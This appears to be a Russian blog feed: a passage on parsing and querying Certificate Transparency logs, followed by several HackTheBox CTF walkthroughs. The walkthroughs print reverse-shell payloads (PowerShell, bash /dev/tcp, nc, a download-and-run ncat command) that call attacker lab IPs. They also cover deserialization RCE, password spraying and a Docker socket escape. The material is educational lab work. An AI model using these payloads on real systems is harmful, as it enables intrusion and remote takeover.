Мне потребовалось довольно много времени, чтобы разобраться, что вообще такое PreCert (можете попробовать сами, почитайте RFC, и, по всей видимости, я такой не один. Сохраню вам кучу времени на раздумья и поиски в гугле и сформулирую назначение PreCerts следующим образом:

PreCerts это отдельный тип сертификата, выпускаемого CA до того, как тот выпустит настоящий сертификат. Фактически, это копия исходного сертификата, но содержащая специальное расширение x509 v3, называемое `poison` и отмеченное как критическое. Таким образом, сертификат не будет валидирован как платформами, распознающими это расширение, и знающими что это PreCert, так и платформами, которые это расширение не распознают.

Мой опыт в ИБ говорит о том, что такая мера не сильно эффективна, хотя бы потому, что баги при парсинге x509/ASN.1 встречаются довольно часто и отдельные реализации могут быть уязвимы к различным махинациям, которые в конечном счете позволят валидировать PreCert. Я понимаю, зачем это было сделано, но складывается ощущение, что полностью убрать PreCerts и оставлять в CTL только сертификаты, действительно выпущенные CA, было бы намного разумнее.

Парсим бинарные структуры

Как для человека, занимающегося реверс-инжинирингом и время от времени участвующего в разных CTF, задача парсинга бинарных структур для меня не нова. Большинство людей в таких случаях обращаются к модулю `struct`, но много лет назад, во время работы на Филлипа Мартина, он познакомил меня с отличной библиотекой Construct, которая заметно упрощает парсинг подобных структур. Ниже приведены структуры, которые я использовал для парсинга, а также пример их использования для обработки записей:

```pythonfrom construct import Struct, Byte, Int16ub, Int64ub, Enum, Bytes, Int24ub, this, GreedyBytes, GreedyRange, Terminated, EmbeddedMerkleTreeHeader = Struct(    "Version"         / Byte,    "MerkleLeafType"  / Byte,    "Timestamp"       / Int64ub,    "LogEntryType"    / Enum(Int16ub, X509LogEntryType=0, PrecertLogEntryType=1),    "Entry"           / GreedyBytes)Certificate = Struct(    "Length" / Int24ub,    "CertData" / Bytes(this.Length))CertificateChain = Struct(    "ChainLength" / Int24ub,    "Chain" / GreedyRange(Certificate),)PreCertEntry = Struct(    "LeafCert" / Certificate,    Embedded(CertificateChain),    Terminated)``````pythonimport jsonimport base64import ctl_parser_structuresfrom OpenSSL import cryptoentry = json.loads("""{  "entries": [    {      "leaf_input": "AAAAAAFIyfaldAAAAAcDMIIG/zCCBeegAwIBAgIQ...",      "extra_data": "AAiJAAS6MIIEtjCCA56gAwIBAgIQDHmpRLCMEZUg..."    }  ]}""")['entries'][0]leaf_cert = ctl_parser_structures.MerkleTreeHeader.parse(base64.b64decode(entry['leaf_input']))print("Leaf Timestamp: {}".format(leaf_cert.Timestamp))print("Entry Type: {}".format(leaf_cert.LogEntryType))if leaf_cert.LogEntryType == "X509LogEntryType":    # В случае, если запись - обычный X509 сертификат    cert_data_string = ctl_parser_structures.Certificate.parse(leaf_cert.Entry).CertData    chain = [crypto.load_certificate(crypto.FILETYPE_ASN1, cert_data_string)]    # Парсим структуру `extra_data` чтобы получить оставшуюся часть цепочки    extra_data = ctl_parser_structures.CertificateChain.parse(base64.b64decode(entry['extra_data']))    for cert in extra_data.Chain:        chain.append(crypto.load_certificate(crypto.FILETYPE_ASN1, cert.CertData))else:    #  В случае, если запись - PreCert    extra_data = ctl_parser_structures.PreCertEntry.parse(base64.b64decode(entry['extra_data']))    chain = [crypto.load_certificate(crypto.FILETYPE_ASN1, extra_data.LeafCert.CertData)]    for cert in extra_data.Chain:        chain.append(            crypto.load_certificate(crypto.FILETYPE_ASN1, cert.CertData)        )

Получаем массив X509 сертификатов из цепочки с сертификатом из leaf_input в качестве первого элемента

```

Как можете заметить, Construct позволяет довольно легко определять бинарные структуры на Python.

Теперь, понимая, что такое CTL и как парсить отдельные записи, можем переходить ко второй части - получению и сохранению всех записей из логов с возможностью последующего поиска по сертификатам.

Часть 2. Retrieving, Storing and Querying 250M+ Certificates Like a Boss

Сбор сертификатов

В соответствии с RFC, для получения записей из логов используется эндпоинт `get-entries`. К сожалению, задача осложняется ограничением на максимальное количество записей, которое можно получить в одном запросе (контролируется параметрами `start` и `end`), и большинство логов позволяют получить лишь 64 записи за раз. Однако CTL от Google, составляющие большинство всех логов, используют максимальный размер запроса в 1024 записи.

Spoiler

Комментарий переводчика

На момент написания перевода большинство логов Google (Argon, Xenon, Aviator, Icarus, Pilot, Rocketeer, Skydiver) предоставляют лишь по 32 записи для каждого запроса, но для ускорения получения записей можно одновременно отправлять несколько запросов на один и тот же лог, насколько позволяет пропускная способность, но работает такой подход не для всех логов.

Отдельные логи предоставляют возможность получать по 1024 и более записей за раз, но большинство CTL, помимо Google, выдает по 256 записей за один запрос.

Так как задача одновременно IO-bound (получение записей по http) и CPU-bound (парсинг сертификатов), для эффективной обработки необходимо будет подключить как асинхронность, так и многопроцессность.

Так как не было никаких инструментов, которые позволили бы легко и безболезненно получить и распарсить все CTL (помимо не особо примечательной утилиты от Google, было решено потратить немного времени и написать свой инструмент, который соответствовал бы всем нашим потребностям. Результатом стал Axeman, который использует asyncio и замечательную библиотеку aioprocessing для загрузки, парсинга и сохранения сертификатов в несколько CSV файлов, ограничиваясь при этом только скоростью интернет-соединения.

Эксплуатация облака

После получения инстанса (_прим. перев._ так в Google Cloud называются VM) c 16 ядрами, 32Гб памяти и SSD на 750Гб (спасибо Google за бесплатные 300$ на счете для новых аккаунтов!), я запустил Axeman, который загрузил все сертификаты меньше чем за сутки и сохранил результаты в `/tmp/certificates/$CTL_DOMAIN/`

Где хранить все эти данные?

На начальном этапе для осуществления хранения и поиска по данным был выбран Postgres, но, хотя я и не сомневаюсь, что с правильной схемой Postgres легко бы справился с 250 миллионами записей (в отличии от моей первой попытки, в которой на один запрос уходило примерно 20 минут!), я начал искать решения, которые:

  • позволяют дешево хранить большой объем данных

  • обеспечивают быстрый поиск

  • позволяют легко обновлять данные

Вариантов было несколько, но с точки зрения стоимости, почти все рассмотренные варианты (AWS RDS, Heroku Postgres, Google Cloud SQL) были весьма затратны. К счастью, так как наши данные в принципе никогда не изменяются, у нас появляется дополнительная гибкость в выборе платформы для размещения данных.

В целом, это как раз тот тип поиска по данным, который прекрасно ложится на модель map/reduce с использованием, к примеру, Spark или Hadoop Pig. Просматривая предложения различных провайдеров в категории big data (хотя в нашей задаче данных явно мало для включения в эту категорию), я наткнулся на Google BigQuery, который удовлетворяет всем обозначенным параметрам.

Скармливаем данные BigQuery

Загрузка данных в BigQuery осуществляется довольно легко, благодаря предоставляемой Google утилите gsutil. Создаем новый бакет для наших сертификатов:

Когда бакет готов, используем `gsutil` для транспортировки всех сертификатов в хранилище Google (а затем в BigQuery). После настройки аккаунта командой `gsutil config`, запускаем процесс загрузки:

```gsutil -o GSUtil:parallel_composite_upload_threshold=150M \       -m cp \       /tmp/certificates/* \       gs://all-certificates```

И видим следующий результат в нашем бакете:

Далее создаем новый датасет в BigQuery:

Теперь мы можем импортировать данные из хранилища в наш новый датасет. К сожалению, в BigQuery нет кнопки пожалуйста, импортируй все папки рекурсивно, так что придется импортировать каждый CTL отдельно, но занимает это не так долго. Создаем таблицу и импортируем наш первый лог (обратите особое внимание на отмеченные настройки):

Так как схема нужна всякий раз при импорте очередного лога, воспользуемся опцией Edit as Text. Использованная схема:

```[    {        "name": "url",        "type": "STRING",        "mode": "REQUIRED"    },    {        "mode": "REQUIRED",        "name": "cert_index",        "type": "INTEGER"    },    {        "mode": "REQUIRED",        "name": "chain_hash",        "type": "STRING"    },    {        "mode": "REQUIRED",        "name": "cert_der",        "type": "STRING"    },    {        "mode": "REQUIRED",        "name": "all_dns_names",        "type": "STRING"    },    {        "mode": "REQUIRED",        "name": "not_before",        "type": "FLOAT"    },    {        "mode": "REQUIRED",        "name": "not_after",        "type": "FLOAT"    }]```

Далее просто повторяем процесс для каждого лога. Убедитесь, что каждый импорт завершился успешно (ошибки обычно можно игнорировать, просто убедитесь, что вы задали адекватное значения для максимального количества ошибок). В итоге должен получиться примерно такой датасет:

Что в итоге получилось

Настало время пожинать плоды наших трудов и опробовать систему на различных запросах.

В последнее время часто говорят о доменах, использующих punycode и связанных с ними омоглифных атаках. Попробуем следующий запрос:

```SQLSELECT  all_dns_namesFROM  [ctl-lists:certificate_data.scan_data]WHERE  (REGEXP_MATCH(all_dns_names,r'\b?xn\-\-'))  AND NOT all_dns_names CONTAINS 'cloudflare'```

И всего через 15 секунд получаем результат со всеми punycode доменами из всех известных CTL!

Рассмотрим другой пример. Попробуем получить все сертификаты доменов Coinbase, записанные в Certificate Transparency:

```SQLSELECT  all_dns_namesFROM  [ctl-lists:certificate_data.scan_data]WHERE  (REGEXP_MATCH(all_dns_names,r'.*\.coinbase.com[\s$]?'))```

Всего через две секунды получаем все интересующие нас результаты:

Возможность легко проводить подобный анализ на таком обширном датасете - сильный инструмент для идентификации различных трендов, которые невозможно было бы обнаружить каким-либо другим способом.

Небольшая загадка

Проводя исследования, я обнаружил нечто странное. Домен `flowers-to-the-world.com` постоянно возникал в различных логах. Практически каждый лог имел огромное число сертификатов, содержащих этот домен:

```SQLSELECT  url,  COUNT(*) AS total_certsFROM  [ctl-lists:certificate_data.scan_data]WHERE  (REGEXP_MATCH(all_dns_names,r'.*flowers-to-the-world.*'))GROUP BY  urlORDER BY  total_certs DESC```

Whois позволяет определить, что этот домен принадлежит Google, так что мне интересно, не является ли это частью какой-то тестовой рутины. Если вы инженер Google, который может разузнать что-то у товарищей, занимающихся Certificate Transparency, было бы очень интересно услышать об этом.

Spoiler

Ответ инженера Google в комментариях под оригинальным постом

Привет, Райан. Пишет Пол Хэдфилд из команды Certificate Transparency.

`flowers-to-the-world.com` действительно принадлежит Google. Мы используем этот домен чтобы генерировать сертификаты, которые затем добавляются в каждый CTL в рамках периодической проверки логов на соответствие стандартам RFC6962. Проверка проводится с целью удостоверится, что логи работают в соответствии со стандартами и имеют приемлемый аптайм.

Наблюдаемое распределение количества раз, которое домен встретился в каждом логе, является в основном функцией от того, сколько этот лог существует, но также зависит от того, насколько быстро лог может добавить новый сертификат в свое дерево Меркла.

Если проследить полную цепочку при добавлении сертификата с `flower-to-the-world.com`, можно увидеть, что она заканчивается в корне со следующим эмитентом: C=GB, ST=London, O=Google UK Ltd., OU=Certificate Transparency, CN=Merge Delay Monitor Root

Надеюсь, это помогло.

Совсем скоро мы планируем выпустить собственный продукт NetLas.io. Это своеобразный технический атлас всей сети Интернет, который будет включать не только сертификаты, но и данные по доменам и поддоменам, ответы серверов по популярным портам и много другой полезной для исследователей безопасности информации.

В России, насколько нам известно, это первый такой продукт. В США и Китае у нас есть сильные конкуренты, но мы надеемся превзойти их по некоторым параметрам. Например, актуальность данных уже сейчас наша реализация поискового движка позволяет включать в поисковую выдачу данные, от сканов не старше минуты. На сегодняшний день Netlas.io доступен в формате "раннего доступа". Если есть желание потестировать переходите на сайт и регистрируйтесь.

Подробнее..

Hack The Box. ПрохождениеCompromised. RCE LiteCart и бэкдор pam_unix

23.01.2021 20:10:06 | Автор: admin

Продолжаюпубликацию решений отправленных на дорешивание машин с площадки HackTheBox. Надеюсь, что это поможет хоть кому-то развиваться в области ИБ.

Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ :)

Организационная информация

Специально для тех, кто хочет узнавать что-то новое и развиваться в любой из сфер информационной и компьютерной безопасности, я буду писать и рассказывать о следующих категориях:

- PWN;

- криптография (Crypto);

- cетевые технологии (Network);

- реверс(Reverse Engineering);

- стеганография(Stegano);

- поиск и эксплуатация WEB-уязвимостей;

Вдобавок к этому я поделюсь своим опытом в компьютерной криминалистике,анализе малвари и прошивок, атаках на беспроводные сети и локальные вычислительные сети, проведении пентестов и написании эксплоитов.

Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем (ссылка).

Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.

Recon

Данная машина имеет IP адрес 10.10.10.204, который я добавляю в /etc/hosts.

10.10.10.207compromised.htb

Первым делом сканируем открытые порты. Яэто делаю с помощью следующего скрипта, принимающего один аргумент - адрес сканируемого хоста:

#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)nmap -p$ports -A $1

Давайте посмотрим сайт.

Находим только CMS - LiteCart. Давайте просканируем директории, и я делаю это с помощью gobuster.

gobuster dir -t 128 -u http://compromised.htb/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -x html,php

И находим интересную директорию backup, а в ней архив.

Данный архив содержит исходные коды сайта.

Среди данных файлов мы и находим упоминание скрытого на сервере файла.

Файл содержит учетные данные админа.

Авторизуемся.

Entry Point

После изучения данной CMS, находим RCE эксплоит.

Но вот только он не отрабатывает как нужно.

Посмотрим код эксплоита. Используется функция system, которая, возможно, блокируется.

Давайте изменим нагрузку и вызовем phpinfo, чтобы посмотреть заблокированные функции.

И видим большой список таких функций. Для обхода данных блокировок можем использовать этот код. Данный PHP код мы чуть изменим, чтобы сразу выполнять запрошенные команды.

И изменим код эксплоита так, чтобы считать и отправить новый PHP код.

И данный код работает.

Глянем на пользователей и заметим, что у mysql есть bash.

Давайте удобный шелл, для этого используем webwrap.

USER1

Так как у mysql есть командная оболочка, то мы можем использовать службу как обычного пользователя, а именно выполняя команды из mysql. Учетные данные для подключения к базе данных должны быть расположены в конфигах.

Теперь, когда мы получили учетные данные, давайте проверим функции mysql.

И давайте сгенерируем SSH ключи и запишем публичный в домашнюю директорию службы с помощью execcmd.

mysql -u root --password=changethis -e "select execcmd('echo ssh-rsa AAAAB3NzaC1yc2EAAAADA/ ... 6GuPNZGryVNovs= ralf@ralf-PC > ~/.ssh/authorizedkeys');"

И заходим по SSH.

USER2

И мы можем прочитать логи, где можно поискать пароли.

Попробуем сменить пользователя с найденным паролем.

ROOT

После длительного изучения машины, была дана подсказка про название машины и использование бэкдоров. Давайте найдем последние измененные файлы.

find . -mtime -100 2>/dev/null

И находим скрытую библиотеку pamunix.so, причем есть такая же, видимо легитимная. Скачиваем этот файл.

scp sysadmin@compromised.htb:/lib/x8664-linux-gnu/security/.pamunix.so ~/tmp/

И закидываем в дизасемблер (я использовал Cutter). Среди строк находим password.

Посмотрим, где эта строка используется.

И видим сравнение пароля с шестнадцатеричными значениями, которые являются половинами строки.

Пробуем данную строку как пароль рута, и удачно авторизуемся.

Подробнее..

HackTheBox. Прохождение Worker. Работаем с SVN. Используем Azure DevOps для захвата хоста

30.01.2021 18:12:04 | Автор: admin

Продолжаюпубликацию решений отправленных на дорешивание машин с площадки HackTheBox. Надеюсь, что это поможет хоть кому-то развиваться в области ИБ.

Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ :)

Организационная информация

Организационная информация

Специально для тех, кто хочет узнавать что-то новое и развиваться в любой из сфер информационной и компьютерной безопасности, я буду писать и рассказывать о следующих категориях:

- PWN;

- криптография (Crypto);

- cетевые технологии (Network);

- реверс(Reverse Engineering);

- стеганография(Stegano);

- поиск и эксплуатация WEB-уязвимостей;

Вдобавок к этому я поделюсь своим опытом в компьютерной криминалистике,анализе малвари и прошивок, атаках на беспроводные сети и локальные вычислительные сети, проведении пентестов и написании эксплоитов.

Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем (ссылка).

Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.

Recon

Данная машина имеет IP адрес 10.10.10.192, который я добавляю в /etc/hosts.

10.10.10.192worker.htb

Первым делом сканируем открытые порты. Яэто делаю с помощью следующего скрипта, принимающего один аргумент - адрес сканируемого хоста:

#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)nmap -p$ports -A $1

И нам доступны веб сервер и служба SVN. Веб нам пока ничего предложить не может.

Давайте обратимся к службе svn. Subversion- это свободная централизованная система управления версиями. Давайте полцчим базовую информацию.

svn info svn://worker.htb

И мы знаем базовую ветку, автора ичто мы можем узнать последние пять изменений.

Entry Point

Посмотрим список файлов в данной ветке.

svn list svn://worker.htb

Имеем директорию и файл. Скачиваем все к себе на хост.

svn export svn://worker.htb/dimension.worker.htb/
svn export svn://worker.htb/moved.txt

И из последнего файла узнаем новый поддомен.

Добавим его в /etc/hosts.

10.10.10.203devops.worker.htb

Но там нас встречает HTTP аутентификация. Давайте посмотрим последние изменения. На втором шаге мы находим интересный файл, не встречавшийся ранее.

svn checkout -r 1 svn://worker.htb
svn checkout -r 2 svn://worker.htb

Применим изменения, чтобы получить данный файл.

svn up -r 2 deploy.ps1

И в данном powershell скрипте обнаружим учетные данные.

Снайденными учетными данными получается аутентифицироваться на сайте.

USER

Обратимвнимание на репозиторий и то, что он содержит код.

Используем название репозитория как субдомен, занеся его в /etc/hosts.

10.10.10.203spectral.worker.htb

И нас встречает сайт.

Это вектор RCE. Давайте внесем изменения, добавив на сервере ASPX шелл. Создадимновую ветку, добавим файл, добавим задачу, и сделаем ветку основной.

И после применения всех изменений, обратимся к нашему файлу.

Давайте получим полноценный шелл. Для этого запустим листенер и выполним Powershell бэкконнект.

$client = New-Object System.Net.Sockets.TCPClient('10.10.14.115',4321);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}; $client.Close()

И получаем шелл.

Немного осмотревшись, находим директории с конфигурациями.

И в файле passwd есть много пар логинов и паролей.

А по открытым портам определяем работающую службу WinRM.

Давайте сделаем списки пользователей и паролей.

cat logpass.txt | tr -d ' ' | cut -f 1 -d '=' > user.txtcat logpass.txt | tr -d ' ' | cut -f 2 -d '=' > pass.txt

А темеперь выполним подбор пар учетных данных с помощью CrackMapExec.

cme winrm -u user.txt -p pass.txt --no-bruteforce --continue-on-success worker.htb

И как итог, мы находим учетные данные системного пользователя. Подключаемся и забираем флаг.

ROOT

С этими же учетными данными мы возвращаемся на наш сайт.

Но в этот раз мы можем создать свой проект и выполнить произвольные команды через консоль. Так давайте сделаем это.

В данном файле мы убираем pool и в steps -> script пишем то, что должна выполнить система. К примеру, загрузить и выполнить прежний шелл.

И в окне листенера наблюдаем новое подключение, но теперь шелл с высокими привилегиями.

Подробнее..

HackTheBox. Прохождение Jewel. RCE в Ruby on Rails, sudo и google authenticator, выполнение кода в gem

13.02.2021 18:19:20 | Автор: admin

Продолжаюпубликацию решений отправленных на дорешивание машин с площадки HackTheBox. Надеюсь, что это поможет хоть кому-то развиваться в области ИБ.

Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ :)

Организационная информация

Организационная информация

Специально для тех, кто хочет узнавать что-то новое и развиваться в любой из сфер информационной и компьютерной безопасности, я буду писать и рассказывать о следующих категориях:

- PWN;

- криптография (Crypto);

- cетевые технологии (Network);

- реверс(Reverse Engineering);

- стеганография(Stegano);

- поиск и эксплуатация WEB-уязвимостей;

Вдобавок к этому я поделюсь своим опытом в компьютерной криминалистике,анализе малвари и прошивок, атаках на беспроводные сети и локальные вычислительные сети, проведении пентестов и написании эксплоитов.

Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем (ссылка).

Recon

Данная машина имеет IP адрес 10.10.10.209, который я добавляю в /etc/hosts.

10.10.10.211    jewel.htb

Первым делом сканируем открытые порты. Яэто делаю с помощью rustscan.

rustscan jewel.htb -- -A

Порт 8080 отвечает за gitweb.

Отметим для себя наличие Gemile, что свидетельствует об использовании Ruby. На порте 8080, видимо, расположен сам проект.

И мы имеем возможность зарегистрироваться и авторизоваться.

Entry Point

Как оказалось, мы можем найти уже готовый готовый эксплоитдля данной версии Ruby on Rails.

USER

Давайте соберем эксплоит. Для начала установим все необходимое и запустим ruby интерпретатор.

git clone https://github.com/masahiro331/CVE-2020-8165.gitgem install bundler:1.17.3apt install sqlite3 libsqlite3-devbundle install --path vendor/bundlebundle exec rails db:migratebundle exec rails console

Теперь собираем свой эксплоит, в качестве нагрузки использует реверс шелл.

code = '`rm /tmp/r;mkfifo /tmp/r;cat /tmp/r|/bin/sh -i 2>&1|nc 10.10.14.215 4321 >/tmp/r`'erb = ERB.allocateerb.instance_variable_set :@src, codeerb.instance_variable_set :@filename, "1"erb.instance_variable_set :@lineno, 1payload = Marshal.dump(ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new erb, :result)puts "Payload"require 'uri'puts URI.encode_www_form(payload: payload)

И находим форму отправки.

Перехватываем запрос в Burp и подменяем имя пользователя.

И получаем бэкконнект.

ROOT

И у меня не вышло авторизоваться по SSH, записав ключ, а также скачать что-либо со своего хоста, поэтому пришлось проводить поиск методов LPE самому. И в домашней директории находим файл .google_authenticator, о котором можно почитать тут. Откуда и узнаем, что он используется, как дополнительный способ подтверждения к использованию sudo,в добавок к паролю.

Теперь нужно найти учетные данные. Дойдя до директории с бэкапами, обнаружим там доступный для чтения файл sql.

А там есть два хеша.

Брутим их и находим один пароль.

hashcat --example | grep -A2 -B2 '$2a'
hashcat -a 0 -m 3200 ./jewel.hashes ./rockyou.txt

Теперь используем данный пароль для sudo. После ввода пароля нас встречает запрос кода.

Для получения кода нужно установить следующее расширение для браузера chrome, и выставить системное время как на удаленном хосте.

И мы можем выполнить gem. Посмотрев базу GTFOBins находим способ выполнения команд с помощью gem.

sudo gem open -e "/bin/sh -c /bin/sh" rdoc

И мы берем рута.

Подробнее..

HackTheBox. Прохождение Feline. RCE через сереализацию в Java и LPE через докер сокеты

21.02.2021 08:04:54 | Автор: admin

Продолжаюпубликацию решений отправленных на дорешивание машин с площадки HackTheBox. Надеюсь, что это поможет хоть кому-то развиваться в области ИБ.

Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ :)

Организационная информация

Специально для тех, кто хочет узнавать что-то новое и развиваться в любой из сфер информационной и компьютерной безопасности, я буду писать и рассказывать о следующих категориях:

  • PWN;

  • криптография (Crypto);

  • cетевые технологии (Network);

  • реверс(Reverse Engineering);

  • стеганография(Stegano);

  • поиск и эксплуатация WEB-уязвимостей;

Вдобавок к этому я поделюсь своим опытом в компьютерной криминалистике,анализе малвари и прошивок, атаках на беспроводные сети и локальные вычислительные сети, проведении пентестов и написании эксплоитов.

Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем (ссылка).

Recon

Данная машина имеает IP адрес 10.10.10.205, который я добавляю в /etc/hosts.

10.10.10.205    feline.htb

Первым делом сканируем открытые порты. Яэто делаю с помощью следующего скрипта.

#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)nmap -p$ports -A $1

Мы имеем 2 открытых порта и, как обычно, идем на веб. Нас встречает форма загрузки файла. В описании сказано, что файл будет запущен.

Плюс ко всему, мы находим уязвимость для данной версии веб сервера.

Как сказано в описании к данной CVE, зная путь к файлу, мы можем выполнить сереализованный java-код.

Entry Point

Просто убрав имя файл, из перехваченного запроса, в ошибке Java мы можем найти путь, по которому загрузится файл.

Для сереализации используем ysoserial. Давайте напишем скрипт для быстрого создания бэкконнекта.

USER

Сначала сам шелл, закодированный в base64.

#!/bin/bash rshell="bash -c 'bash -i >& /dev/tcp/10.10.14.38/4321 0>&1'" code_rshell="bash -c {echo,$(echo -n $rshell|base64)}|{base64,-d}|{bash,-i}"

Теперь сериализуем его.

java -jar /home/ralf/tmp/ysoserial.jar CommonsCollections4 "$code_rshell" > /home/ralf/tmp/r_payload.session 

Загружаем файл.

curl -s -F "data=@/home/ralf/tmp/r_payload.session" http://feline.htb:8080/upload.jsp?email=hackerralf8@gmail.com > /dev/null 

И выполняем бэкконнект.

curl -s http://feline.htb:8080/ -H "Cookie: JSESSIONID=../../../../../../../opt/samples/uploads/r_payload" > /dev/null

Так мы берем пользователя.

Docker ROOT

Для разведки на хосте используем LinPEAS.Мы находим интересные сетевый интерфейсы, говорящие нам о наличии докера и смотрим сетевые соединения.

Получая информацию о каждом используемом локальном порте, останавливаемся на 4506.

И находим PoC для данной CVE. Для того, чтобы его использовать нам нужно туннелировать порт. Сделаем это м помощью chisel. Откроем листенер а локальной машине.

chisel.bin server -p 56765 --reverse

И выполним коннект с удаленного хоста.

chisel.bin client 10.10.14.38:56765 R:4506:127.0.0.1:4506

Как можно заметить, мы туннелируем порт.

Откроем листенер для нового бэкшелла и выполним эксплоит. В качестве нагрузки используем цепочку команд, в которой мы скачиваем с локальной машины netcat и выполняем подключение.

python3 exploit.py --master localhost --exec "wget 10.10.14.38:8000/ncat -O /tmp/ncat; chmod +x /tmp/ncat ; /tmp/ncat -e /bin/bash 10.10.14.38 6543"

И у нас есть рут в докере.

ROOT

Для разведки в докер контейнере используем deepce.

И видим, что есть докер сокет. Давайте получим информацию о контейнере.

curl -XGET --unix-socket /var/run/docker.sock http://localhost/containers/json

И мы имеем ID образа. Давайте создадим файл конфигурации по следующему подобию.

{"Image": "188a2704d8b0","Cmd": ["/bin/sh"],"DetachKeys": "Ctrl-p,Ctrl-q","OpenStdin": true,"Mounts": [{"Type": "bind","Source": "/","Target": "/r4lf"}]}

А теперь создаем новый контейнер.

curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d "$(cat container.json)" http://localhost/containers/create

Запускаем его и подключаемся к нему, используя Socat.

curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/8fa6/startsocatx64.bin - UNIX-CONNECT:/var/run/docker.sock

Далее необходимо отправить следующий пост запрос.

POST /containers/8fa6/attach?stream=1&stdin=1&stdout=1&stderr=1 HTTP/1.1Host: Connection: Upgrade Upgrade: tcp

Таким образом наша система будем монтирована как /r4lf.

Подробнее..

HackTheBox. Прохождение Academy. RCE в Laravel и LPE через composer

27.02.2021 22:08:03 | Автор: admin

Продолжаюпубликацию решений отправленных на дорешивание машин с площадки HackTheBox. Надеюсь, что это поможет хоть кому-то развиваться в области ИБ.

Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ :)

Организационная информация

Специально для тех, кто хочет узнавать что-то новое и развиваться в любой из сфер информационной и компьютерной безопасности, я буду писать и рассказывать о следующих категориях:

  • PWN;

  • криптография (Crypto);

  • cетевые технологии (Network);

  • реверс(Reverse Engineering);

  • стеганография(Stegano);

  • поиск и эксплуатация WEB-уязвимостей;

Вдобавок к этому я поделюсь своим опытом в компьютерной криминалистике,анализе малвари и прошивок, атаках на беспроводные сети и локальные вычислительные сети, проведении пентестов и написании эксплоитов.

Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем (ссылка).

Recon

Данная машина имеает IP адрес 10.10.10.215, который я добавляю в /etc/hosts.

10.10.10.215    academy.htb

Первым делом сканируем открытые порты. Яэто делаю с помощью следующего скрипта.

#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)nmap -p$ports -A $1

Имеем SSH, Apache и MySQL. Давайте переберем директории на вебе, я буду использовать gobuster.

gobuster dir -t 128 -u http://academy.htb -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt --timeout 30s

Находим интересную директорию админа, но нам нужно зарегистрироваться. Я все операции выполняю через Burp. И при регистрации обращаем внимание на интересный параметр.

Изменим значение roleid на 1, и наша учетная запись станет административной. В найденной ранее директории найдем список дел, в котором одна задаче будет не выполнена.

Добавим запись в /etc/hosts.

10.10.10.215 dev-staging-01.academy.htb

Перейдем по найденному адресу.

Нас встречает Laravel, как мы видим из ошибки.

Entry Point

Поищем эксплоиты, и найдем уже реализованный для metasploit.

Для его использования нам нужен APP_KEY, который мы легко находим на той же странице.

Давайте подключимся.

Получим нормальную оболочку.

python3 -c "import pty; pty.spawn('/bin/sh')"/bin/bash

USER

Запустим LinPEAS для разведки на хосте.Выделяем список пользователей и файл .env.

И именно в этом файле находим пароль.

Спрэйим найденный пароль по всем пользователям и получаем пару учетных данных.

cme ssh academy.htb -u users.txt -p 'mySup3rP4s5w0rd!!'

И берем первого пользователя.

USER 2

Так как мы состоим в группе adm, мы можем читать логи. Я начал с файла auth.log, но ничего интересного там не нашел. Дальше перешел к файла audit.log, пофильтровал вывод, оставив только используемые команды и передаваемые им аргументы, и тут ждал успех.

cat * | grep comm | grep -v '/usr/lib/systemd/systemd|apparmor_parser'

